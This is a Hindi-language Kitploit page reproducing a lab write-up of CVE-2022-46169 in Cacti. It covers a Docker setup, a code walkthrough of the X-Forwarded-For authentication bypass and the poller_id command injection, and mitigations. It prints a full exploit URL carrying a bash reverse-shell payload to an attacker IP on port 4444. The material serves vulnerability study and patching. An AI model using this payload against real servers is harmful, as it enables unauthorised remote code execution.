Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2022-46169 — CVE-2022-46169 का चरण-दर-चरण विश्लेषण: प्रमाणीकरण बायपास और कमांड इंजेक्शन के माध्यम से Cacti में अप्रमाणित दूरस्थ कोड निष्पादन, Docker लैब सेटअप और शोषण वॉकथ्रू के साथ। | Kitploit
उपकरण/GitHubGitHub/hpt-intern-task-submission/cve-2022-46169
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणकमांड एंड कंट्रोलप्रमाणीकरणलर्निंग और शिक्षालैब और अभ्यास
GitHubhpt-intern-task-submission/cve-2022-46169

CVE-2022-46169

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2022-46169 का चरण-दर-चरण विश्लेषण: प्रमाणीकरण बायपास और कमांड इंजेक्शन के माध्यम से Cacti में अप्रमाणित दूरस्थ कोड निष्पादन, Docker लैब सेटअप और शोषण वॉकथ्रू के साथ।

रिपॉजिटरी देखें
2 साल पहलेअभी तक समीक्षित नहीं

CVE-2022-46169 - Cacti में अप्रमाणित रिमोट कोड निष्पादन

Cacti क्या है और इसकी भेद्यता?

Cacti एक ओपन-सोर्स परिचालन निगरानी उपकरण है जो PHP, MySQL/MariaDB में लिखा गया है और यह एक अनुकूल इंटरफ़ेस प्रदान करता है।

यह भेद्यता 2022 में पाई गई थी जो 1.2.23 से पहले के सभी संस्करणों को प्रभावित करती है। इस बग को RCE (रिमोट कोड निष्पादन) प्राप्त करने के लिए प्रमाणीकरण बायपास और कमांड इंजेक्शन की एक श्रृंखला की आवश्यकता होती है।

प्रयोगशाला सेटअप

इस CVE विश्लेषण में, मैं Cacti को Docker में चलाऊंगा और कोड विश्लेषण के लिए VSCode का उपयोग करूंगा। सेटअप काफी सरल होगा, पहले हमें एक नया वातावरण बनाने के लिए docker-compose.yaml फ़ाइल की आवश्यकता होगी। नीचे docker-compose.yaml फ़ाइल है:

root@kitploit:~
version: '2'

services:

  

cacti:

image: "smcline06/cacti"

container_name: cacti

domainname: example.com

hostname: localhost

ports:

- "8088:80"

environment:

- DB_NAME=cacti_master

- DB_USER=cactiuser

- DB_PASS=cactipassword

- DB_HOST=db

- DB_PORT=3306

- DB_ROOT_PASS=rootpassword

- INITIALIZE_DB=1

- TZ=America/Los_Angeles

volumes:

- cacti-data:/cacti

- cacti-spine:/spine

- cacti-backups:/backups

links:

- db

  

db:

image: "mariadb:10.3"

container_name: cacti_db

domainname: example.com

hostname: db

ports:

- "3307:3306"  # Change host port to 3307

command:

- mysqld

- --character-set-server=utf8mb4

- --collation-server=utf8mb4_unicode_ci

- --max_connections=200

- --max_heap_table_size=128M

- --max_allowed_packet=32M

- --tmp_table_size=128M

- --join_buffer_size=128M

- --innodb_buffer_pool_size=1G

- --innodb_doublewrite=ON

- --innodb_flush_log_at_timeout=3

- --innodb_read_io_threads=32

- --innodb_write_io_threads=16

- --innodb_buffer_pool_instances=9

- --innodb_file_format=Barracuda

- --innodb_large_prefix=1

- --innodb_io_capacity=5000

- --innodb_io_capacity_max=10000

environment:

- MYSQL_ROOT_PASSWORD=User@123

- TZ=America/Los_Angeles

volumes:

- cacti-db:/var/lib/mysql

  

volumes:

cacti-db:

cacti-data:

cacti-spine:

cacti-backups:

फ़ाइल बनाने के बाद, कमांड लाइन खोलें और फ़ाइल निर्देशिका पर जाएं, docker-compose up -d कमांड चलाएं, ब्राउज़र खोलें और localhost:8088 पर जाएं। सबसे पहले आप एक लॉगिन पृष्ठ देखेंगे:

login_page

डिफ़ॉल्ट क्रेडेंशियल admin/admin है। सेटअप की प्रक्रिया नीचे फ़ोटो द्वारा प्रस्तुत की जाएगी:

new_password

नया पासवर्ड बनाएं

1 2 1 1 1 1 1 1 1 1 1

इंस्टॉलेशन पूरा करने के बाद, हमारे पास इस तरह का एक कंसोल स्क्रीन होगा

console

अब आइए भेद्यता का विश्लेषण शुरू करें। जैसा कि हम जानते हैं, कमजोर फ़ाइल remote_agent.php है, इसलिए हम ब्राउज़र पर फ़ाइल तक पहुंचने का प्रयास करेंगे

remote_agent

यह कहता है कि हम फ़ाइल तक पहुंचने के लिए अधिकृत नहीं हैं। अब फ़ाइल का स्रोत कोड देखने का समय है

remote_client_authorized

यह remote_client_authorized() फ़ंक्शन को कॉल करके जांच करता है। आइए उस फ़ंक्शन में गहराई से जाएं।

remote_client_authorized_dive_deep

सबसे पहले, सर्वर get_client_addr() फ़ंक्शन के माध्यम से हमारा IP पता प्राप्त करता है और फिर हमारे IP को होस्टनाम में अनुवाद करने के लिए gethostbyaddr() फ़ंक्शन का उपयोग करता है। फिर सर्वर poller तालिका में उपलब्ध सभी pollers को लाता है और प्रत्येक poller के होस्टनाम की तुलना IP पते से अनुवादित आपके होस्टनाम से करता है। यहां एक बायपास है, get_client_addr() के अंदर:

get_client_addr

हम देख सकते हैं कि सर्वर निम्नलिखित हेडर में से एक के माध्यम से IP पता प्राप्त करेगा:

root@kitploit:~
-   X-Forwarded-For
-   X-Client-IP
-   X-Real-IP
-   X-ProxyUser-Ip
-   CF-Connecting-IP
-   True-Client-IP
-   HTTP_X_FORWARDED
-   HTTP_X_FORWARDED_FOR
-   HTTP_X_CLUSTER_CLIENT_IP
-   HTTP_FORWARDED_FOR
-   HTTP_FORWARDED
-   HTTP_CLIENT_IP
-   REMOTE_ADDR

यह हमें अपने IP पते के मान को पूरी तरह से नियंत्रित करने की अनुमति देता है। इस मामले में, हम अपने IP को एक मान्य IP पर स्पूफ करने के लिए X-Forwarded-For हेडर का उपयोग कर सकते हैं, जो हमें प्राधिकरण को बायपास करने की अनुमति देता है। X-Forwarded-For हेडर का उपयोग अक्सर मूल IP पते की पहचान करने के लिए किया जाता है यदि क्लाइंट और सर्वर के बीच कोई प्रॉक्सी या लोड बैलेंसर हो। हालाँकि, यह हमलावरों के लिए शोषण करने का एक हमला सतह होगा। चूंकि हम cacti को स्थानीय रूप से चलाते हैं, हमें एक ऐसा IP पता निर्दिष्ट करने की आवश्यकता है जो localhost पर अनुवादित होगा, जो कि 127.0.0.1 है।

IP_spoofed

अब तो ठीक लग रहा है, है ना? हालाँकि, यह तो शुरुआत है दोस्तों!!! हमें सफलतापूर्वक कमांड इंजेक्ट करने और रिमोट कोड निष्पादन प्राप्त करने के लिए और अधिक कोड विश्लेषण की आवश्यकता है। प्रमाणीकरण समाप्त करने के बाद, प्रोग्राम यह कोड निष्पादित करेगा

switch_case_action

सर्वर action पैरामीटर प्राप्त करेगा और Switch/Case में प्रवेश करेगा। यदि action का मान pollerdata है, तो प्रोग्राम poll_for_data() को कॉल करेगा। यह फ़ंक्शन कमांड इंजेक्शन के लिए कमजोर है, इसलिए हम इसका सावधानीपूर्वक विश्लेषण करेंगे।

poll_for_data

फ़ंक्शन उपयोगकर्ता के अनुरोध पैरामीटर local_data_ids, host_id, poller_id से प्राप्त 3 पैरामीटर $local_data_ids, $host_id, $poller_id लेगा। पैरामीटर प्राप्त करने के लिए फ़ंक्शन में अंतर पर ध्यान दें, एक get_filter_request_var है और दूसरा get_nfilter_request_var है, अंतिम फ़ंक्शन में एक अतिरिक्त n है, हम इसके बारे में और चर्चा करेंगे। उसके बाद, प्रोग्राम जांच करेगा कि क्या हम local_data_ids पैरामीटर प्रदान करते हैं और प्रत्येक को local_data_ids और host_id के आधार पर poller_item तालिका से डेटा प्राप्त करने के लिए लूप करेगा। क्वेरी $items में सहेजी जाएगी।

proc_open

यदि क्वेरी परिणामों के साथ लौटती है, तो प्रोग्राम $items में प्रत्येक $item के माध्यम से लूप करेगा और एक Switch/Case स्टेटमेंट में प्रवेश करेगा जो $item['action'] को Switch मान के रूप में लेता है। कई केस हैं लेकिन जिस केस की हमें जांच करनी चाहिए वह POLLER_ACTION_SCRIPT_PHP है जिसका अर्थ है action 2 के बराबर है।

POLLER_ACTION_SCRIPT_PHP

एक बार जब action 2 होता है, तो प्रोग्राम proc_open() कमांड को निष्पादित करेगा, जो exec() के समान है, और $poller_id को एक चर के रूप में लेगा, जो पूरी तरह से हमारे नियंत्रण में है। बेहतर विज़ुअलाइज़ेशन के लिए, हमें यह देखने के लिए डेटाबेस तक पहुंचना चाहिए कि poller_item तालिका की सामग्री कैसी दिखती है।

poller_item_table

तालिका से, हम देखते हैं कि हमें action = 2 वाला poller प्राप्त करने के लिए local_data_id को ब्रूट-फोर्स करना होगा, यह वास्तविक दुनिया के शोषण में लागू किया जाएगा। डिफ़ॉल्ट रूप से, cacti में action = 2 वाला कोई poller नहीं है, फिर भी इसे device जैसे नए टेम्पलेट जोड़कर किया जा सकता है।

create_device_1

create_device_2

create_device_3

नया device बनाने के बाद, हम फिर से poller_item तालिका तक पहुंचते हैं और देखते हैं कि action = 2 के साथ एक नया poller है।

create_device_4

अब पूरी प्रक्रिया की फिर से समीक्षा करते हैं। बग का सफलतापूर्वक शोषण करने के लिए, हमें पहले X-Forwarded-For हेडर जोड़कर प्रमाणीकरण को बायपास करना होगा। अगला कदम action पैरामीटर को polldata प्रदान करना है, host_id =1, local_data_ids action =2 वाले संबंधित poller के बराबर है, इस मामले में local_data_ids = 6, और सबसे महत्वपूर्ण बात, poller_id पैरामीटर वह है जहां हम रिमोट कोड निष्पादन प्राप्त करने के लिए कमांड इंजेक्ट करेंगे। get_nfilter_request_var() का उपयोग इस पैरामीटर को कमजोर बनाता है। जहां get_filter_request_var केवल पूर्णांक स्वीकार करता है, वहीं get_nfilter_request_var हमें स्ट्रिंग दर्ज करने की अनुमति देता है। इसके अलावा, इस पैरामीटर के लिए कोई इनपुट सत्यापन नहीं है, जो पूर्ण कमांड इंजेक्शन की ओर ले जाता है।

चलिए अनुरोधों को सुनने के लिए एक Kali Linux सर्वर चलाते हैं।

kali

हमें पेलोड बनाने के लिए सर्वर चलाने वाले kali के IP पते और पोर्ट की आवश्यकता है, इस मामले में 172.22.119.130 और netcat पोर्ट 4444 पर चल रहा है।

अब Burpsuite खोलें और शोषण शुरू करें, यहां उपयोग किया गया पेलोड ;bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.22.119.130%2F4444%200%3E%261 है। पेलोड पिछले कमांड को समाप्त करने और एक नया कमांड निष्पादित करने के लिए ; का उपयोग करता है। बाकी रिवर्स शेल प्राप्त करने का एक सरल कमांड है। सब कुछ एक साथ मिलाकर, हमारे पास पूरा url है: localhost:8088/cacti/remote_agent.php?action=polldata&local_data_ids[]=6&host_id=1&poller_id=;bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.22.119.130%2F4444%200%3E%261

exploit_1

exploit_2

धमाका!!! हमने बग का सफलतापूर्वक शोषण कर लिया है। प्रक्रिया और स्पष्टीकरण काफी लंबा है लेकिन सामान्य तौर पर, यह कोई बहुत जटिल भेद्यता नहीं है।

शमन

इस भेद्यता का मूल कारण poller_id पैरामीटर के लिए get_nfilter_request_var() फ़ंक्शन का उपयोग है। हम इसे केवल पूर्णांक स्वीकार करने के लिए get_filter_request_var() में बदल सकते हैं।

mitigation_1

हम cacti_escapeshellarg() फ़ंक्शन का उपयोग करके poller_id के मान को साफ़ करके एक और सुरक्षा परत जोड़ सकते हैं। यह अभ्यास सुनिश्चित करेगा कि आगे के चरणों में उपयोग करने से पहले poller_id में केवल मान्य इनपुट ही पास हो।

mitigation_2

यह विश्लेषण का अंत है। आशा है कि आप कुछ सार्थक सीखेंगे। जैसा कि हम देख सकते हैं, भेद्यता अक्सर उपयोगकर्ता के इनपुट में होती है। इसलिए, यह बहुत महत्वपूर्ण है कि हम अपने सर्वर को सुरक्षित करने के लिए उचित इनपुट सत्यापन लागू करें। रिमोट कोड निष्पादन बहुत गंभीर है, लेकिन इसे रोकने का एक तरीका अभी भी है!!! हैप्पी हैकिंग!

संदर्भ

https://viblo.asia/p/phan-tich-lo-hong-unauthenticated-command-injection-cve-2022-46169-trong-phan-mem-cacti-MkNLrOK8VgA https://www.vicarius.io/vsociety/posts/unauthenticated-rce-in-cacti-cve-2022-46169

टूल डाउनलोड करें